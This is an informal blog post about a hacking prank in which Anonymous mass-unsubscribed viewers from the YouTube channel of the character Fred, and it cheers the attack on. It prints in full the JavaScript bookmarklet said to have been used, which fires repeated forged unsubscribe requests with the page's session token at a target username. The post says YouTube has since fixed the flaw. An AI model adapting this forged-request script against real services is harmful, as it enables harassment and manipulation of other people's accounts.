If you don't know who Fred is, then know that Fred Figglehorn is a fictional 6-year old character played by one "Lucas Cruikshank" (nice name bro). It centers around him, his anger management issues, and his dysfunctional home. Also, he has a high-pitched voice that can quickly drive someone crazy. He has become an internet celebrity, being the second most subscribed person on Youtube, and earning his own Movie which will be playing on September 18th on Nickelodeon.
Now, understandably, there are those who find this character unbearable (I for one can't stand his squeaky voice). As such, certain elements of Internet, known as Anonymous, decided to mobilize. As such, on August 25th, using a script (seen below), these hackers were able to unsubscribe ALL 1.9 million or so of his subscribers. Hows that for ingenuity?
THE SCRIPT IN QUESTION:
javascript:function unsubscribe() {
httpreq=new XMLHttpRequest();
httpreq.open('post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false);
httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpreq.send('session_token='+yt.getConfig('SUBSCRIBE_AXC'));
if(!httpreq.responseXML) {
setTimeout('unsubscribe()', timeout);
return;
}
if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!='<h2>You have successfully unsubscribed.</h2>') {
alert(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue);
} else if((window.status=++count)!=times) {
setTimeout('unsubscribe()', timeout);
} else {
alert('DUN');
}
}
count=0;
if((username=prompt('enter target\'s username', 'Fred'))!=null) {
if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) {
if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) {
unsubscribe();
}
}
}
void(0);
After destroying Fred, the hackers seem to have gone to conduct their own individual acts, removing subscribers from people they didn't like, which is generally everyone but themselves. Reports indicate they removed over 20,000 of Canadian celebrity Justin Bieber's subscribers before the jig was up. Awesome.
In the end, Youtube found out, fixed their glitch, and proceeded to ban (banhammer as Anonymous calls it) any account using the script. Thus, nothing of value seems to have been lost, as Fred's loyal fans began subscribing again, and engage in the practice of "sub 4 sub",aka trading subscriptions for subscriptions.
Still, it was hilarious to see Fred's fans freak out while it lasted, posting "OMG FRED GOT HACKED???" and panicking like maniacs. Just goes to show that in the internet, nothing is sacred.
